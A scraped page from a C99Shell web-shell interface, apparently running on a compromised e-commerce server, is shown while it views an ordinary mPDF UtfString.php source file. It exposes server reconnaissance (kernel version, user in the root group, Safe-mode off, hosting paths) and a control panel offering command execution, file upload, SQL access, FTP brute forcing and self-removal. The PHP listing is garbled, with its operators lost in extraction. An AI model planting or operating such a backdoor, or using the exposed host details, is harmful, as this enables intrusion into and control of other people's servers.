!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/Utils/   drwxr-xr-x
Free 25.49 GB of 117.98 GB (21.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UtfString.php (1.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf\Utils;

class 
UtfString
{

    
/**
     * Converts all the &#nnn; and &#xhhh; in a string to Unicode
     *
     * @since mPDF 5.7
     * @param string $str
     * @param bool $lo
     *
     * @return string
     */
    
public static function strcode2utf($str$lo true)
    {
        
$str preg_replace_callback('/\&\#(\d+)\;/m', function ($matches) use ($lo) {
            return static::
code2utf($matches[1], $lo 0);
        }, 
$str);
        
$str preg_replace_callback('/\&\#x([0-9a-fA-F]+)\;/m', function ($matches) use ($lo) {
            return static::
codeHex2utf($matches[1], $lo 0);
        }, 
$str);

        return 
$str;
    }

    
/**
     * @param int $num
     * @param bool $lo
     *
     * @return string
     */
    
public static function code2utf($num$lo true)
    {
        
// Returns the utf string corresponding to the unicode value
        
if ($num 128) {
            return 
$lo
                
chr($num)
                : 
'&#' $num ';';
        }

        if (
$num 2048) {
            return 
chr(($num >> 6) + 192) . chr(($num 63) + 128);
        }

        if (
$num 65536) {
            return 
chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) . chr(($num 63) + 128);
        }

        if (
$num 2097152) {
            return 
chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) . chr((($num >> 6) & 63) + 128) . chr(($num 63) + 128);
        }

        return 
'?';
    }

    public static function 
codeHex2utf($hex$lo true)
    {
        
$num hexdec($hex);
        if ((
$num 128) && !$lo) {
            return 
'&#x' $hex ';';
        }

        return static::
code2utf($num$lo);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--